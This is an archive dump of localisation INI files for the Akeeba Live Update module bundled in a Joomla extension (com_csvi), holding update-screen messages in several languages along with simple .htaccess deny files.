laatste versie te downloaden en doormiddel van Joomla!'s extensiebeheer te installeren." LIVEUPDATE_STUCK_HEAD="Live Update is gecrasht" LIVEUPDATE_STUCK_INFO="Live Update stelt vast dat het, de laatste keer dat het de update-server trachtte te bereiken, gecrasht is. Dit betekent meestal dat de host actief de communicatie met externe sites blokkeert. Klik, als u de update informatie opnieuw wilt ophalen, op de "Ververs update informatie" knop hieronder. Als dat leidt tot een blanco pagina, neem dan contact op met uw hoster en meld dit." LIVEUPDATE_ERROR_NEEDSAUTH="U moet uw gebruikersnaam / wachtwoord of download ID opgegeven in de parameters van de component om naar de laatste release te upgraden. De upgrade knop zal geblokkeerd blijven tot dit gedaan is." LIVEUPDATE_HASUPDATES_HEAD="Er is een nieuwe versie beschikbaar" LIVEUPDATE_NOUPDATES_HEAD="U heeft de laatste versie al" LIVEUPDATE_CURRENTVERSION="Geïnstalleerde versie" LIVEUPDATE_LATESTVERSION="Nieuwste versie" LIVEUPDATE_LATESTRELEASED="Datum laatste release" LIVEUPDATE_DOWNLOADURL="URL voor directe download" LIVEUPDATE_REFRESH_INFO="Ververs update-informatie" LIVEUPDATE_DO_UPDATE="Update naar de laatste versie" LIVEUPDATE_FTP_REQUIRED="Live Update stelt vast dat het FTP moet gebruiken om de updates te downloaden en installeren, maar uw FTP logingegevens zijn bij de Joomla algemene instellingen niet opgeslagen.

      Vul a.u.b. hieronder de FTP gebruikersnaam en het wachtwoord in om verder te gaan met updaten." LIVEUPDATE_FTP="FTP informatie" LIVEUPDATE_FTPUSERNAME="FTP gebruikersnaam" LIVEUPDATE_FTPPASSWORD="FTP wachtwoord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download en installeer de update" LIVEUPDATE_DOWNLOAD_FAILED="Het downloaden van het updatepakket is mislukt. Zorg dat de temp map beschrijfbaar is of dat de FTP opties bij de algemene instellingen goed ingevuld zijn." LIVEUPDATE_EXTRACT_FAILED="Uitpakken van het pakket mislukt. Probeer de extensie handmatig bij te werken." LIVEUPDATE_INVALID_PACKAGE_TYPE="Verkeerd pakkettype. Updaten kan niet verder gaan." LIVEUPDATE_INSTALLEXT="Installeer %s %s" LIVEUPDATE_ERROR="Fout" LIVEUPDATE_SUCCESS="Succesvol" LIVEUPDATE_ICON_UNSUPPORTED="Live Update niet ondersteund" LIVEUPDATE_ICON_CRASHED="Live Update gecrasht" LIVEUPDATE_ICON_CURRENT="U heeft de laatste versie" LIVEUPDATE_ICON_UPDATES="UPDATE GEVONDEN! KLIK OM TE UPDATEN."PK@y>\0,,Bcomponents/com_csvi/liveupdate/language/ru-RU/ru-RU.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Автоматическое обновление" LIVEUPDATE_NOTSUPPORTED_HEAD="Автоматическое обновление не поддерживается на этом сервере" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сообщает, что автоматическое обновление не поддерживается. Пожалуйста, обратитесь к Вашему хостеру и попросите его разрешить CURL расширение для PHP или включить функцию URL FOPEN(). Если они уже включены, пожалуйста, попросите его настроить их сетевой экран так, чтобы она позволяла получить доступ к следующему адресу:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Вы всегда сможете обновить %s посетив наш сайт, вручную, загрузив последнюю версию и установив ее с помощью Joomla!." LIVEUPDATE_STUCK_HEAD="Автоматическое обновление обнаружило ошибку" LIVEUPDATE_STUCK_INFO="Автоматическое обновление обнаружило, что произошла ошибка при последнем сеансе связи с сервером обновлений. Обычно это означает, что хост блокирует связи с внешними сайтами. Если Вы желаете снова получить информацию об обновлении, пожалуйста, нажмите кнопку "Освежить информацию об обновлении" , расположенную ниже. Если это приводит к появлению пустой страницы, пожалуйста, свяжитесь с Вашим хостером и сообщите об этой проблеме." LIVEUPDATE_ERROR_NEEDSAUTH="Перед попыткой обновления до последней версии, Вы должны ввести Ваше имя пользователя/пароль или ID загрузки в параметры компонента. Кнопка обновления будет оставаться неактивной, пока Вы этого не сделаете." LIVEUPDATE_HASUPDATES_HEAD="Доступна новая версия" LIVEUPDATE_NOUPDATES_HEAD="У Вас уже установлена последняя версия" LIVEUPDATE_CURRENTVERSION="Установленная версия" LIVEUPDATE_LATESTVERSION="Последняя версия" LIVEUPDATE_LATESTRELEASED="Дата выхода последней версии" LIVEUPDATE_DOWNLOADURL="Ссылка для прямой загрузки" LIVEUPDATE_REFRESH_INFO="Освежить информацию об обновлении" LIVEUPDATE_DO_UPDATE="Обновить до последней версии" LIVEUPDATE_FTP_REQUIRED="Автоматическое обновление определило, что необходимо использовать FTP для загрузки и установки обновления, но Вы не сохранили данные для авторизации на FTP в общих настройках Joomla!.

      Просьба ввести свое имя пользователя и пароль FTP для продолжения обновления." LIVEUPDATE_FTP="Информация FTP" LIVEUPDATE_FTPUSERNAME="Имя пользователя FTP" LIVEUPDATE_FTPPASSWORD="Пароль пользователя FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Загрузить и установить обновление" LIVEUPDATE_DOWNLOAD_FAILED="Загрузка пакета обновления не удалась. Убедитесь, что временный каталог доступен для записи или что Вы включили и настроили FTP в общих настройках Joomla!." LIVEUPDATE_EXTRACT_FAILED="Извлечение пакета обновления не удалось. Пожалуйста, попробуйте обновить компонент вручную." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неверный тип пакета. Обновление не может продолжаться." LIVEUPDATE_INSTALLEXT="Установлено %s %s" LIVEUPDATE_ERROR="Ошибка" LIVEUPDATE_SUCCESS="Успешно" LIVEUPDATE_ICON_UNSUPPORTED="Автоматическое обновление не поддерживается" LIVEUPDATE_ICON_CRASHED="Автоматическое обновление не удалось!" LIVEUPDATE_ICON_CURRENT="У Вас последняя версия" LIVEUPDATE_ICON_UPDATES="НАЙДЕНА НОВАЯ ВЕРСИЯ! НАЖМИТЕ ДЛЯ ОБНОВЛЕНИЯ." PK@y>\)7components/com_csvi/liveupdate/language/ru-RU/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)7components/com_csvi/liveupdate/language/uk-UA/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Bcomponents/com_csvi/liveupdate/language/uk-UA/uk-UA.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update не підтримується на цьому сервері" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сигналізує, що Live Update не підтримується. Будь ласка, зв’яжіться з вашим постачальником послуг хостингу і попросіть його ввімкнути розширення PHP cURL або активувати пакувальники URL fopen(). Якщо вони вже ввімкнені, будь ласка, попросіть його сконфігурувати мережеві екрани так, щоб вони дозволяли доступ до цих URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Ви можете завжди оновити %s відвідавши наш сайт персонально, завантажити останній випуск та встановити його, використовуючи інсталятор розширень Joomla!." LIVEUPDATE_STUCK_HEAD="Live Update позначив себе таким, що зазнав краху" LIVEUPDATE_STUCK_INFO="Live Update визначив, що він зазнав краху останнього разу, коли намагався зв’язатися з сервером оновлень. Це зазвичай означає, що хост активно блокує комунікацію з зовнішніми сайтами. Якщо ви ви захочете спробувати знову отримати інформацію про оновлення, будь ласка, натисніть на кнопку "Оновити інформацію " нижче. Якщо це видасть пусту сторінку, будь ласка, зв’яжіться з постачальником послуг хостингу і опишіть цю проблему." LIVEUPDATE_ERROR_NEEDSAUTH="Ви повинні надати ваше ім’я користувача/пароль або ID завантаження в параметрах компоненту перед тим, як намагатися оновитися до останнього випуску. Кнопка оновлення буде залишатися неактивною, доки ви цього не зробите." LIVEUPDATE_HASUPDATES_HEAD="Доступна нова версія" LIVEUPDATE_NOUPDATES_HEAD="У вас уже встановлена остання версія" LIVEUPDATE_CURRENTVERSION="Встановлена версія" LIVEUPDATE_LATESTVERSION="Остання версія" LIVEUPDATE_LATESTRELEASED="Дата останнього випуску" LIVEUPDATE_DOWNLOADURL="URL для безпосереднього завантаження" LIVEUPDATE_REFRESH_INFO="Оновити інформацію" LIVEUPDATE_DO_UPDATE="Оновити до останньої версії" LIVEUPDATE_FTP_REQUIRED="Live Update визначив, що йому потрібно використовувати FTP для завантаження та встановлення вашого оновлення, але ви не зберегли інформацію вашого логіну FTP на сторінці Загальної Конфігурації Joomla! .

      Будь ласка, надайте ім’я користувача і пароль FTP нижче, щоб продовжити процес оновлення." LIVEUPDATE_FTP="Інформація FTP" LIVEUPDATE_FTPUSERNAME="Ім’я користувача FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Завантажити і встановити оновлення" LIVEUPDATE_DOWNLOAD_FAILED="Завантаження пакету оновлень не вдалося. Переконайтесь, що ваш тимчасовий каталог доступний для запису або що ви ввімкнули налаштування FTP в Загальній Конфігурації Joomla!." LIVEUPDATE_EXTRACT_FAILED="Видобування пакету оновлень не вдалося. Будь ласка, спробуйте оновити розширення вручну." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неправильний тип пакету. Оновлення не може бути продовжено." LIVEUPDATE_INSTALLEXT="Встановлення %s %s" LIVEUPDATE_ERROR="Помилка" LIVEUPDATE_SUCCESS="Успішно" LIVEUPDATE_ICON_UNSUPPORTED="Live Update не підтримується" LIVEUPDATE_ICON_CRASHED="Live Update зазнало краху" LIVEUPDATE_ICON_CURRENT="У вас остання версія" LIVEUPDATE_ICON_UPDATES="ЗНАЙДЕНО ОНОВЛЕННЯ! НАТИСНІТЬ ДЛЯ ЗАПУСКУ ОНОВЛЕННЯ."PK@y>\)1components/com_csvi/liveupdate/language/.htaccessnuW+A Order allow,deny Deny from all PK@y>\G Bcomponents/com_csvi/liveupdate/language/hu-HU/hu-HU.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Ez a szerver nem támogatja a Live Update-ot" LIVEUPDATE_NOTSUPPORTED_INFO="A szerver nem támogatja a Live Update-et. Lépj kapcsolatba a szolgáltatóddal és kérd a cURL PHP bővítmény vagy az URL fopen() aktiválását. Ha ezek már engedélyezve vannak, akkor kérd meg őket, hogy úgy állítsák be a tűzfalukat, hogy hozzáférhető legyen a következő URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Bármikor frissítheted a(z) %s úgy, hogy meglátogatod a webhelyünket, letöltöd a legfrissebb verziót és a Joomla! bővítmény telepítőjével felrakod." LIVEUPDATE_STUCK_HEAD="A saját jelzése szerint a Live Update összeomlott" LIVEUPDATE_STUCK_INFO="Az utolsó használat során a Live Update összeomlott amikor kapcsolatot próbált létesíteni a frissítő szerverrel. Ez általában azt jelzi, hogy a szolgáltató aktívan blokkolja a külső webhelyekkel való kommunikációt. Ha meg akarod ismételni a frissítési információk lekérését, akkor kattints alul a "Frissítési információk újra letöltése" gombra. Ha ez üres oldalt eredményez, akkor lépj kapcsolatba a szolgáltatóddal és jelezd nekik ezt a problémát. LIVEUPDATE_ERROR_NEEDSAUTH="Mielőtt frissíteni szeretnél, meg kell adnod a felhasználói neved/jelszavad vagy a letöltési AZ-t a komponens paraméterekben. A frissítés gomb addig nem lesz aktív, amíg ezeket nem adod meg." LIVEUPDATE_HASUPDATES_HEAD="Elérhető az új verzió" LIVEUPDATE_NOUPDATES_HEAD="Már a legújabb verzióval rendelkezel" LIVEUPDATE_CURRENTVERSION="Telepített verzió" LIVEUPDATE_LATESTVERSION="Legújabb verzió" LIVEUPDATE_LATESTRELEASED="A legújabb verzió kiadási időpontja" LIVEUPDATE_DOWNLOADURL="Direkt letöltési URL" LIVEUPDATE_REFRESH_INFO="Frissítési információk újratöltése" LIVEUPDATE_DO_UPDATE="Frissítés a legújabb verzióra" LIVEUPDATE_FTP_REQUIRED="A Live Update-nek szüksége van az FTP használatára, hogy le tudja tölteni és feltelepíteni a frissítést, de te nem adtál meg FTP elérési adatokat a Joomla! globális beállításaiban.

      Kérjük, hogy add meg az FTP felhasználói nevet és jelszót, hogy folytatni lehessen a frissítést." LIVEUPDATE_FTP="FTP információk" LIVEUPDATE_FTPUSERNAME="FTP felhasználói név" LIVEUPDATE_FTPPASSWORD="FTP jelszó" LIVEUPDATE_DOWNLOAD_AND_INSTALL="A frissítés letöltése és telepítése" LIVEUPDATE_DOWNLOAD_FAILED="A frissítési csomag letöltése sikertelen. Ellenőrizd az átmeneti (temp) könyvtár írhatóságát vagy a globális beállításoknál engedélyezd a Joomla! FTP feltöltést." LIVEUPDATE_EXTRACT_FAILED="A frissítési csomag kitömörítése sikertelen. Kérjük, hogy a frissítést próbáld meg manuális módban." LIVEUPDATE_INVALID_PACKAGE_TYPE="Hibás csomagtípus. A frissítés nem folytatható." LIVEUPDATE_INSTALLEXT="Telepítés %s %s" LIVEUPDATE_ERROR="Hiba" LIVEUPDATE_SUCCESS="Sikeres" LIVEUPDATE_ICON_UNSUPPORTED="A Live Update nem támogatott" LIVEUPDATE_ICON_CRASHED="A Live Update összeomlott" LIVEUPDATE_ICON_CURRENT="A legfrissebb verzióval rendelkezel" LIVEUPDATE_ICON_UPDATES="FRISSÍTÉST TALÁLTAM! KATTINTS IDE." LIVEUPDATE_RELEASEINFO="Információk" LIVEUPDATE_RELEASENOTES="Kiadási megjegyzések" LIVEUPDATE_READMOREINFO="Bővebben"PK@y>\)7components/com_csvi/liveupdate/language/hu-HU/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)7components/com_csvi/liveupdate/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PK@y>\sBcomponents/com_csvi/liveupdate/language/en-GB/en-GB.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update %s by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer." LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_HASUPDATES_HEAD="A new version is available" LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version" LIVEUPDATE_CURRENTVERSION="Installed version" LIVEUPDATE_LATESTVERSION="Latest version" LIVEUPDATE_LATESTRELEASED="Latest release date" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_REFRESH_INFO="Refresh update information" LIVEUPDATE_DO_UPDATE="Update to the latest version" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

      Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_FTP="FTP Information" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update" LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration." LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually." LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed." LIVEUPDATE_INSTALLEXT="Install %s %s" LIVEUPDATE_ERROR="Error" LIVEUPDATE_SUCCESS="Success" LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported" LIVEUPDATE_ICON_CRASHED="Live Update crashed" LIVEUPDATE_ICON_CURRENT="You have the latest version" LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE." LIVEUPDATE_RELEASEINFO="Information" LIVEUPDATE_RELEASENOTES="Release notes" LIVEUPDATE_READMOREINFO="Read more" LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." LIVEUPDATE_STABILITY_ALPHA="Alpha" LIVEUPDATE_STABILITY_BETA="Beta" LIVEUPDATE_STABILITY_RC="RC" LIVEUPDATE_STABILITY_STABLE="Stable"PK@y>\)7components/com_csvi/liveupdate/language/fr-FR/.htaccessnuW+A Order allow,deny Deny from all PK@y>\?bBcomponents/com_csvi/liveupdate/language/fr-FR/fr-FR.liveupdate.ininuW+A; @package Live Update ; @copyright (c) 2010-2012 Nicholas K. Dionysopoulos ; @subpackage fr-FR.liveupdate.ini ; @description Traduction francophone - fr-FR ; @version 2.2.2 - 28.03.2012 ; @author Mihàly Marti alias Sarki - Joomlatutos.com ; @copyright AFUJ - Association Francophone des Utilisateurs de Joomla! ; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL ; @note Client Administrator ; @note All ini files need to be saved as UTF-8 - No BOM LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update n'est pas pris en charge sur ce serveur" LIVEUPDATE_NOTSUPPORTED_INFO="Votre serveur indique que Live Update n'est pas supporté. Veuillez contactez votre hébergeur et lui demander d'activer l'extension PHP cURL ou activer la fonction fopen URL (). Si ceux-ci sont déjà activés, veuillez lui demander d'adapter le pare-feu pour qu'il autorise l'accès à l'URL suivante:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Vous pouvez toujours mettre à jour %s en visitant notre site manuellement, télécharger la dernière version et l'installer en utilisant l'extension d'installation de Joomla!" LIVEUPDATE_STUCK_HEAD="Live Update a échoué !" LIVEUPDATE_STUCK_INFO="Live Update a échoué la dernière fois qu'il a essayé de contacter le serveur de mise à jour. Cela signifie généralement que votre hébergeur bloque activement les communications avec des sites externes. Si vous souhaitez réessayer de récupérer les informations de mise à jour, cliquez sur le bouton " Rafraichir les informations de mise à jour ". S'il en résulte une page blanche, veuillez contactez votre hébergeur et lui signaler ce problème." LIVEUPDATE_ERROR_NEEDSAUTH="Pour activer le bouton de mise à jour, vous devez indiquer dans les paramètres d'Akeeba Backup l'ID de mise à jour fournie avec votre abonnement." LIVEUPDATE_HASUPDATES_HEAD="Une nouvelle version est disponible" LIVEUPDATE_NOUPDATES_HEAD="Vous avez la dernière version" LIVEUPDATE_CURRENTVERSION="Version installée" LIVEUPDATE_LATESTVERSION="Dernière version" LIVEUPDATE_LATESTRELEASED="Date de la dernière version " LIVEUPDATE_DOWNLOADURL="URL de téléchargement directe" LIVEUPDATE_REFRESH_INFO="Rafraîchir les informations de mise à jour" LIVEUPDATE_DO_UPDATE="Mettre à jour vers la dernière version" LIVEUPDATE_FTP_REQUIRED="Live Update a besoin d'utiliser la couche FTP pour télécharger et installer la mise à jour, mais vous n'avez pas sauvegardé vos informations de connexion FTP dans la 'Configuration' de Joomla!

      Veuillez fournir ci-dessous votre nom d'utilisateur et votre mot de passe FTP afin de procéder à la mise à jour." LIVEUPDATE_FTP="Informations FTP" LIVEUPDATE_FTPUSERNAME="Nom d'utilisateur FTP" LIVEUPDATE_FTPPASSWORD="Mot de passe FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Télécharger et installez la mise à jour" LIVEUPDATE_DOWNLOAD_FAILED="Le téléchargement du package de mise à jour a échoué. Assurez-vous que votre répertoire temporaire (tmp) est accessible en écriture et que vous avez activé les options FTP dans la configuration globale de Joomla!." LIVEUPDATE_EXTRACT_FAILED="L'extraction du package de mise à jour a échoué. Veuillez mettre à jour l'extension manuellement." LIVEUPDATE_INVALID_PACKAGE_TYPE="Le type du package n'est pas valide. La mise à jour ne peut pas être effectuée." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Erreur" LIVEUPDATE_SUCCESS="Réussite" LIVEUPDATE_ICON_UNSUPPORTED="Live Update n'est pas pris en charge" LIVEUPDATE_ICON_CRASHED="Live Update a échoué!" LIVEUPDATE_ICON_CURRENT="Vous avez la dernière version" LIVEUPDATE_ICON_UPDATES="Mise à jour disponible! Cliquez pour mettre à jour."PK@y>\\X Bcomponents/com_csvi/liveupdate/language/pl-PL/pl-PL.liveupdate.ininuW+A; $Id: pl-PL.liveupdate.ini 632 2011-05-22 20:44:46Z nikosdion $ ; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by: Marek Kolka - 'zorro' - http://www.zorro.cal24.pl LIVEUPDATE_TASK_OVERVIEW="Aktualizacja" LIVEUPDATE_NOTSUPPORTED_HEAD="Aktualizacja nie jest obsługiwana na tym serwerze" LIVEUPDATE_NOTSUPPORTED_INFO="Twój serwer sygnalizuje, że Aktualizacja nie jest obsługiwana. Proszę skontaktować się administratorem hosta i poprosić o włączenie rozszerzenia cURL PHP albo aktywowanie URL fopen() wrappers. Jeżeli te są już włączone, poproś o skonfigurowanie firewalla tak, by umożliwił dostęp do następującego adresu URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Zawsze można zaktualizować %s odwiedzając naszeą witrynę ręcznie, pobranie najnowszej wersji i instalacji za pomocą instalatora rozszerzeń Joomla!." LIVEUPDATE_STUCK_HEAD="Aktualizacja oznaczona jako niepowodzenie" LIVEUPDATE_STUCK_INFO="Aktualizacja zaznacza o niepowodzeniu podczas ostatniej próby kontaktu z serwerem aktualizacji. To zwykle wskazuje na hosta, który aktywnie blokuje komunikacje z zewnętrznymi stronami. Jeśli chcesz ponowić próbę pobierania informacje o aktualizacji, kliknij przycisk "Odśwież informacje o aktualizacji" poniżej. Jeśli wynikiem jest pusta strona, proszę skontaktować się z administracją hosta i zgłosić ten problem." LIVEUPDATE_ERROR_NEEDSAUTH="Musisz podać swój login/hasło lub Download ID w parametrach komponentu przed próbą aktualizacji do najnowszej wersji. Przycisk aktualizacji pozostanie wyłączony do czasu aż to zrobisz." LIVEUPDATE_HASUPDATES_HEAD="Nowa wersja jest dostępna" LIVEUPDATE_NOUPDATES_HEAD="Masz już najnowszą wersję" LIVEUPDATE_CURRENTVERSION="Zainstalowana wersja" LIVEUPDATE_LATESTVERSION="Najnowsza wersja" LIVEUPDATE_LATESTRELEASED="Data najnowszej wersji" LIVEUPDATE_DOWNLOADURL="URL bezpośredniego pobierania" LIVEUPDATE_REFRESH_INFO="Odśwież informacje o aktualizacji" LIVEUPDATE_DO_UPDATE="Aktualizacja do najnowszej wersji" LIVEUPDATE_FTP_REQUIRED="Aktualizacja zaznacza, że musi korzystać z protokołu FTP w celu pobrania i zainstalowania aktualizacji, ale nie zostały wcześniej zapisane dane logowania FTP w twojej Konfiguracji Globalnej Joomla!.

      Prosimy o podanie nazwy użytkownika i hasła FTP poniżej, aby kontynuować aktualizację." LIVEUPDATE_FTP="Informacje FTP" LIVEUPDATE_FTPUSERNAME="Login FTP" LIVEUPDATE_FTPPASSWORD="Hasło FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Pobierz i zainstaluj aktualizację" LIVEUPDATE_DOWNLOAD_FAILED="Pobranie pakietu aktualizacji nie powiodło się. Upewnij się, że katalog tymczasowy jest zapisywalny lub, że masz włączoną opcję FTP Joomla! w Konfiguracji Globalnej twojej witryny." LIVEUPDATE_EXTRACT_FAILED="Rozpakowanie pakietu aktualizacji nie powiodło się. Proszę spróbować aktualizacji rozszerzenia ręcznie." LIVEUPDATE_INVALID_PACKAGE_TYPE="Nieprawidłowy typ pakietu. Aktualizacja nie może być kontynuowana." LIVEUPDATE_INSTALLEXT="Instalacja %s %s" LIVEUPDATE_ERROR="Błąd" LIVEUPDATE_SUCCESS="Powodzenie" LIVEUPDATE_ICON_UNSUPPORTED="Aktualizacja nie jest obsługiwana" LIVEUPDATE_ICON_CRASHED="Aktualizacja nie powiodła się" LIVEUPDATE_ICON_CURRENT="Masz najnowszą wersję" LIVEUPDATE_ICON_UPDATES="ZNALEZIONO AKTUALIZACJĘ! Kliknij!."PK@y>\)7components/com_csvi/liveupdate/language/pl-PL/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)7components/com_csvi/liveupdate/language/el-GR/.htaccessnuW+A Order allow,deny Deny from all PK@y>\A=WWBcomponents/com_csvi/liveupdate/language/el-GR/el-GR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Απευθείας Ενημέρωση" LIVEUPDATE_NOTSUPPORTED_HEAD="Η Απευθείας Ενημέρωση δεν υποστηρίζεται από αυτόν τον διακομιστή" LIVEUPDATE_NOTSUPPORTED_INFO="Ο διακομιστής σας δείχνει ότι η Απευθείας Ενημέρωση δεν υποστηρίζεται. Παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας σας και ζητήστε του να ενεργοποιήσει την επέκταση cURL της PHP ή τους URL fopen() wrappers. Εάν είναι ήδη ενεργοποιημένα, παρακαλώ ζητήστε του να ανοίξει το τείχος ασφαλείας ώστε να επιτρέπει την πρόσβαση στην παρακάτω διεύθυνση URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Μπορείτε πάντα να ενημερώστε το λογισμικό %s επισκεπτόμενοι τον ιστότοπό μας, κατεβάζοντας την τελευταία έκδοση και εγκαθιστόντας την με την εγκατάσταση εφαρμογών του Joomla!." LIVEUPDATE_STUCK_HEAD="Η Απευθείας Ενημέρωση ανίχνευσε αποτυχία λειτουργίας" LIVEUPDATE_STUCK_INFO="Η Απευθείας Ενημέρωση εντόπισε ότι η τελευταία απόπειρα επικοινωνίας με τον διακομιστή ενημερώσεων κατέληξε σε κόλλημα. Αυτό συνήθως υποδυκνείει έναν πάροχο φιλοξενίας που μπλοκάρει ενεργά τις προσπάθειες επικοινωνίας με εξωετρικούς ιστοχώρους. Εάν θα θέλατε να δοκιμάσετε να ξαναπροσπαθήσουμε να λάβουμε τις πληροφορίες ενημέρωσεις, παρακαλώ κάντε κλικ στο κουμπί "Ανανέωση πληροφοριών ενημερώσεων" πιο κάτω. Εάν αυτό οδηγήσει σε λευκή σελίδα, παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας και αναφέρετε αυτό το πρόβλημα." LIVEUPDATE_ERROR_NEEDSAUTH="Πρέπει να εισάγετε το όνομα χρήστη και συνθηματικό ή το Αναγνωριστικό Μεταφόρτωσης στις παραμέτρους της εφαρμογής πριν προσπαθήσετε να αναβαθμίσετε στην τελευταία έκδοση. Το κουμπί ενημέρωσης θα παραμείνει ανενεργό έως ότου το κάνετε." LIVEUPDATE_HASUPDATES_HEAD="Μια νέα έκδοση είναι διαθέσιμη" LIVEUPDATE_NOUPDATES_HEAD="Έχετε ήδη την τελευταία έκδοση" LIVEUPDATE_CURRENTVERSION="Εγκατεστημένη έκδοση" LIVEUPDATE_LATESTVERSION="Τελευταία έκδοση" LIVEUPDATE_LATESTRELEASED="Ημερομηνία έκδοσης" LIVEUPDATE_DOWNLOADURL="Διεύθυνση απευθείας μεταφόρτωσης" LIVEUPDATE_REFRESH_INFO="Ανανέωση πληροφοριών ενημερώσεων" LIVEUPDATE_DO_UPDATE="Ενημέρωση στην τελευταία έκδοση" LIVEUPDATE_FTP_REQUIRED="Η Απευθείας Ενημέρωση εντόπισε ότι απαιτείται η χρήση FTP για να μεταφορτώσει και να εγκαταστήσει την ενημέρωσή σας, αλλά δεν έχετε σώσει τις πληροφορίες εισόδου στο FTP στις Γενικές Ρυθμίσεις του Joomla!.

